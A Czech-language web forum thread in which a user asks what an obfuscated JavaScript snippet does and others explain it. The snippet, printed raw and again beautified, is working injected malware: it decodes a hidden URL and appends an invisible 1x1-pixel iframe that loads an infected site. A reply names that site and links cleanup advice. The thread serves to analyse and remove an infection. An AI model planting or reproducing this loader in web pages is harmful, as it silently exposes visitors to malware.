Autor Zpráva
Nikdonic
Profil *
Zdravím, můžete mi prosím někdo objasnit co dělá tento kód
;if('tRJbEP'=='WVJP')gJcC();}function MDtf(){}
var APhFAG;var UcUDiTw="appendChild";var LLwP='KroTx';var hYfGM;var BTMZw=58;var nXqWh="body";function tdqK(){var mPuP='HpxW';if('oMFw'=='GhnShr')SPtffS();}var AGmfrj='yLqnz';var RLxAOm="parseInt";var SbKVl;var RbTDgA;if('nIBcJV'=='CHsC')SBBToE();var uSlQv="fromCharCode";function vgjig(){}var HzaJd='oQcej';var appVersion_var="appVersion";if('yzTXaS'=='zgJpvI')axQF='AkSYG';var vdpXeot="constructor";function IINpm(){var SZtXe='gDzPpC';if('Iksi'=='rKPF')MMhWBV();}var NNdr;var px1_var="1px";var ChZSKh='EwwlT';var px0_var="0px";var QDyjoG;var pKlahnGT="";if('mHcxJS'=='AlSF')TdlIBL();function YNHf(){var EIts='UYLF';if('wuPi'=='lvbzPr')WlLta();}
var XSPmovG="a6b2b2ae786d6db29fa9b0a7b1ad6ca1adab6da7ac6ca1a5a77d70";var EIKwK='UcYng';var dloZ=202;var uiWKMc=189;var roqGtKPAT="slice";if('TRiGM'=='FAIiyf')MMAma='BOUu';function ayvKI(){}
var VFcpp=(function(){function wgwKf(){}if('OsVQA'=='FrpkCV')PCYJ();return this;if('qmqfqt'=='amCv')BYutN='WKpogf';var aJRSd=77;})();var PMpn=277;if('Imiy'=='mxkCQM')LXfi='PwvTk';var gPTPW="oXSsGbl"[vdpXeot];function ejwA(){}function RxUl(){}
function vJgM(){}function eMZw(){}if('UaudE'=='SnfH')ucNsB();for(var FOHLdJA=0;FOHLdJA<XSPmovG.length;FOHLdJA+=2){if('CnOLT'=='TEse')FMAan();RLCtd=VFcpp[RLxAOm](XSPmovG[roqGtKPAT](FOHLdJA,FOHLdJA+2),16)-62;pKlahnGT+=gPTPW[uSlQv](RLCtd);function ZRcn(){var mXjAs='HGHB';if('UZyfYd'=='JubCi')qdDi();}}
if('exbw'=='lRfOcr')NAvEpV='uqAT';function xMKvcS(){var wiolf='eelasM';if('yVKkh'=='cbIhF')MOPoQ();}
if('DzGeHV'=='CfYt')uAGLb();var BDysbCcaF="TDvafUSo";function UmEFu(){var QslBPb='reeLXx';if('aVfH'=='KcgC')YCddMJ();}
var VDhRUX="";if('xMohk'=='YkBN')pQwhT='uQDy';var oeBw;if(navigator[appVersion_var].indexOf("MSIE")!=-1){VDhRUX='<iframe name="'+BDysbCcaF+'" src="'+pKlahnGT+'">';if('blnzdB'=='NPFEGN')kMMdR();}else{function Bftcz(){var lMsxJ='boSIBM';if('XvLCDU'=='ljlyr')JJrzF();}if('kbhJ'=='ZVXO')FsXiBc='lyzhbd';VDhRUX='iframe';var ESKIN='ZDfdA';if('UIjN'=='xGjC')moKNa='PTTALd';}
var pQKOR;function PEjvlt(){}function dXNs(){var SzXzCH='Mpig';if('NvGubE'=='DgzQY')ODpLOU();}
var WpMJhNMG=document.createElement(VDhRUX);function UumAz(){}
WpMJhNMG.BWBwcm=function(){this["src"]=pKlahnGT;function IHrxqJ(){}var XYrP='HAkg';if('Djjy'=='OKlmI')IzXuRJ();}
if('gEtHrb'=='kWTojX')azNMfy();var zNMax='trkA';if('hxzB'=='lAmgFE')pIiwe='FmFkM';WpMJhNMG.name=BDysbCcaF;if('itQkR'=='JLDBf')PtXM='Chfmd';if('eiEoK'=='XvYv')JIFu();WpMJhNMG.BWBwcm();var hBNc='iIrd';if('PwDavE'=='IzmT')cyeNU();WpMJhNMG.style.height=px1_var;function BQNJpU(){}
WpMJhNMG.style.position="absolute";if('eEVK'=='KPWmU')QtBY='VJbB';if('hxAeWM'=='AUSHK')BtpIMO='uojaH';if('HvPBl'=='LEfF')Fotr();if('rOuhcR'=='Dfuc')Ifau();WpMJhNMG.style.top=px0_var;if('CjKS'=='gXjq')Bzkz='lHkdCz';var BXKjAx='ShtJ';function naxYvf(){var pKDVPr='PNmkge';if('mWhnSI'=='eMqHvn')ozCC();}
WpMJhNMG.style.width=px1_var;if('aaVB'=='mZpMaB')SDJoL='nRxzU';function SFPZGH(){var tjZdE='JPHAW';if('UCoi'=='xFbQ')TxwDs();}
WpMJhNMG.style.right=px0_var;function ryNRx(){}var eFrltX='zhmPZ';function FBGmeAs(){if('lcEgMC'=='dHSqz')aOCSat='xgtc';if('POyRd'=='AfqR')rohz='TpNP';if(document[nXqWh]){if('GGGZqV'=='uXqb')LpTE='yGfx';function TdHsQk(){}
document[nXqWh][UcUDiTw](WpMJhNMG);function WwTGYK(){}var BqyKi;}else{var JsOIV=81;if('LmdP'=='fwwFXg')fXQh();setTimeout(FBGmeAs,120);var rWvMci;}
function KjqoTt(){}}
if('LlTtYH'=='hRKeod')xgcpZ='xaud';FBGmeAs();function fVfT(){var uYFRp='irZH';if('Tstsa'=='aSQvq')XWNOKI();}if('vldiji'=='tdMwq')XxjN();if('lfjrB'=='oGjncO')eYlybk='abZPVB';if('qcolY'=='oBEG')GBrw='izZdr';var gZKRTe;</script>
juriad
Profil
Nikdonic:
Jde o kus obfuskurovaného zdrojáku. Jeho cílem je to, aby člověk nebyl schopen pochopit, co dělá. Odstraň všechny nikdy nepoužité proměnné, funkce a nikdy nesplněné ify a skript se zpřehlední.
Podle toho, co je na první pohled vidět, se snaží vložit do stránky nějaký iframe.
Trejpa
Profil
Nikdonic:
Ten kód vyrábí iframe, překvapivě velikosti 1 × 1 px absolutně napozicovaný na pozici [0,0], který do sebe načítá zavirované ukrajinské stránky.

Pozor, zavirováno! http://takriso.com/in.cgi?2 Pozor, zavirováno!

Jestli máš tento kód na svém webu, tak postupuj podle návodu Máte na webu virus — co s tím?
aDAm
Profil
Jestli ti to pomůže tak trošku přehledněji zde:

;
if ('tRJbEP' == 'WVJP') gJcC();
}

function MDtf() {}
var APhFAG;
var UcUDiTw = "appendChild";
var LLwP = 'KroTx';
var hYfGM;
var BTMZw = 58;
var nXqWh = "body";

function tdqK() {
    var mPuP = 'HpxW';
    if ('oMFw' == 'GhnShr') SPtffS();
}
var AGmfrj = 'yLqnz';
var RLxAOm = "parseInt";
var SbKVl;
var RbTDgA;
if ('nIBcJV' == 'CHsC') SBBToE();
var uSlQv = "fromCharCode";

function vgjig() {}
var HzaJd = 'oQcej';
var appVersion_var = "appVersion";
if ('yzTXaS' == 'zgJpvI') axQF = 'AkSYG';
var vdpXeot = "constructor";

function IINpm() {
    var SZtXe = 'gDzPpC';
    if ('Iksi' == 'rKPF') MMhWBV();
}
var NNdr;
var px1_var = "1px";
var ChZSKh = 'EwwlT';
var px0_var = "0px";
var QDyjoG;
var pKlahnGT = "";
if ('mHcxJS' == 'AlSF') TdlIBL();

function YNHf() {
    var EIts = 'UYLF';
    if ('wuPi' == 'lvbzPr') WlLta();
}
var XSPmovG = "a6b2b2ae786d6db29fa9b0a7b1ad6ca1adab6da7ac6ca1a5a77d70";
var EIKwK = 'UcYng';
var dloZ = 202;
var uiWKMc = 189;
var roqGtKPAT = "slice";
if ('TRiGM' == 'FAIiyf') MMAma = 'BOUu';

function ayvKI() {}
var VFcpp = (function () {
    function wgwKf() {}
    if ('OsVQA' == 'FrpkCV') PCYJ();
    return this;
    if ('qmqfqt' == 'amCv') BYutN = 'WKpogf';
    var aJRSd = 77;
})();
var PMpn = 277;
if ('Imiy' == 'mxkCQM') LXfi = 'PwvTk';
var gPTPW = "oXSsGbl" [vdpXeot];

function ejwA() {}

function RxUl() {}

function vJgM() {}

function eMZw() {}
if ('UaudE' == 'SnfH') ucNsB();
for (var FOHLdJA = 0; FOHLdJA < XSPmovG.length; FOHLdJA += 2) {
    if ('CnOLT' == 'TEse') FMAan();
    RLCtd = VFcpp[RLxAOm](XSPmovG[roqGtKPAT](FOHLdJA, FOHLdJA + 2), 16) - 62;
    pKlahnGT += gPTPW[uSlQv](RLCtd);

    function ZRcn() {
        var mXjAs = 'HGHB';
        if ('UZyfYd' == 'JubCi') qdDi();
    }
}
if ('exbw' == 'lRfOcr') NAvEpV = 'uqAT';

function xMKvcS() {
    var wiolf = 'eelasM';
    if ('yVKkh' == 'cbIhF') MOPoQ();
}
if ('DzGeHV' == 'CfYt') uAGLb();
var BDysbCcaF = "TDvafUSo";

function UmEFu() {
    var QslBPb = 'reeLXx';
    if ('aVfH' == 'KcgC') YCddMJ();
}
var VDhRUX = "";
if ('xMohk' == 'YkBN') pQwhT = 'uQDy';
var oeBw;
if (navigator[appVersion_var].indexOf("MSIE") != -1) {
    VDhRUX = '<iframe name="' + BDysbCcaF + '" src="' + pKlahnGT + '">';
    if ('blnzdB' == 'NPFEGN') kMMdR();
} else {
    function Bftcz() {
        var lMsxJ = 'boSIBM';
        if ('XvLCDU' == 'ljlyr') JJrzF();
    }
    if ('kbhJ' == 'ZVXO') FsXiBc = 'lyzhbd';
    VDhRUX = 'iframe';
    var ESKIN = 'ZDfdA';
    if ('UIjN' == 'xGjC') moKNa = 'PTTALd';
}
var pQKOR;

function PEjvlt() {}

function dXNs() {
    var SzXzCH = 'Mpig';
    if ('NvGubE' == 'DgzQY') ODpLOU();
}
var WpMJhNMG = document.createElement(VDhRUX);

function UumAz() {}
WpMJhNMG.BWBwcm = function () {
    this["src"] = pKlahnGT;

    function IHrxqJ() {}
    var XYrP = 'HAkg';
    if ('Djjy' == 'OKlmI') IzXuRJ();
}
if ('gEtHrb' == 'kWTojX') azNMfy();
var zNMax = 'trkA';
if ('hxzB' == 'lAmgFE') pIiwe = 'FmFkM';
WpMJhNMG.name = BDysbCcaF;
if ('itQkR' == 'JLDBf') PtXM = 'Chfmd';
if ('eiEoK' == 'XvYv') JIFu();
WpMJhNMG.BWBwcm();
var hBNc = 'iIrd';
if ('PwDavE' == 'IzmT') cyeNU();
WpMJhNMG.style.height = px1_var;

function BQNJpU() {}
WpMJhNMG.style.position = "absolute";
if ('eEVK' == 'KPWmU') QtBY = 'VJbB';
if ('hxAeWM' == 'AUSHK') BtpIMO = 'uojaH';
if ('HvPBl' == 'LEfF') Fotr();
if ('rOuhcR' == 'Dfuc') Ifau();
WpMJhNMG.style.top = px0_var;
if ('CjKS' == 'gXjq') Bzkz = 'lHkdCz';
var BXKjAx = 'ShtJ';

function naxYvf() {
    var pKDVPr = 'PNmkge';
    if ('mWhnSI' == 'eMqHvn') ozCC();
}
WpMJhNMG.style.width = px1_var;
if ('aaVB' == 'mZpMaB') SDJoL = 'nRxzU';

function SFPZGH() {
    var tjZdE = 'JPHAW';
    if ('UCoi' == 'xFbQ') TxwDs();
}
WpMJhNMG.style.right = px0_var;

function ryNRx() {}
var eFrltX = 'zhmPZ';

function FBGmeAs() {
    if ('lcEgMC' == 'dHSqz') aOCSat = 'xgtc';
    if ('POyRd' == 'AfqR') rohz = 'TpNP';
    if (document[nXqWh]) {
        if ('GGGZqV' == 'uXqb') LpTE = 'yGfx';

        function TdHsQk() {}
        document[nXqWh][UcUDiTw](WpMJhNMG);

        function WwTGYK() {}
        var BqyKi;
    } else {
        var JsOIV = 81;
        if ('LmdP' == 'fwwFXg') fXQh();
        setTimeout(FBGmeAs, 120);
        var rWvMci;
    }

    function KjqoTt() {}
}
if ('LlTtYH' == 'hRKeod') xgcpZ = 'xaud';
FBGmeAs();

function fVfT() {
    var uYFRp = 'irZH';
    if ('Tstsa' == 'aSQvq') XWNOKI();
}
if ('vldiji' == 'tdMwq') XxjN();
if ('lfjrB' == 'oGjncO') eYlybk = 'abZPVB';
if ('qcolY' == 'oBEG') GBrw = 'izZdr';
var gZKRTe;
IdemeNaHavaj
Profil
aDAm:
To ti ako dlho trvalo kým si to takto upratal? Je na upratovanie kódu nejaká online služba?
aDAm
Profil
IdemeNaHavaj:
asi tak 15min v netbeans ;)
IdemeNaHavaj
Profil
aDAm:
sublime text to nevie čo?
aDAm
Profil
IdemeNaHavaj:
neee dělám si prdel ;) je na to online služba: http://jsbeautifier.org/
IdemeNaHavaj
Profil
aDAm:
Existuje aj niečo na kompletné upratovanie? :) Mám strašný bordel v kódoch, pomiešané html php css js..
shaggy
Profil
IdemeNaHavaj:
Mám strašný bordel v kódoch, pomiešané html php css js..
Myslím, že to nesúvisí s pôvodnou otázkou, tak to sem zbytočne nepleť. A na to existuje len jediný spôsob - poriadny programátor.

Vaše odpověď

Mohlo by se hodit

Neumíte-li správně určit příčinu chyby, vkládejte odkazy na živé ukázky.
Užíváte-li nějakou cizí knihovnu, ukažte odpovídajícím, kde jste ji vzali.

Užitečné odkazy:

Prosím používejte diakritiku a interpunkci.

Ochrana proti spamu. Napište prosím číslo dvě-sta čtyřicet-sedm: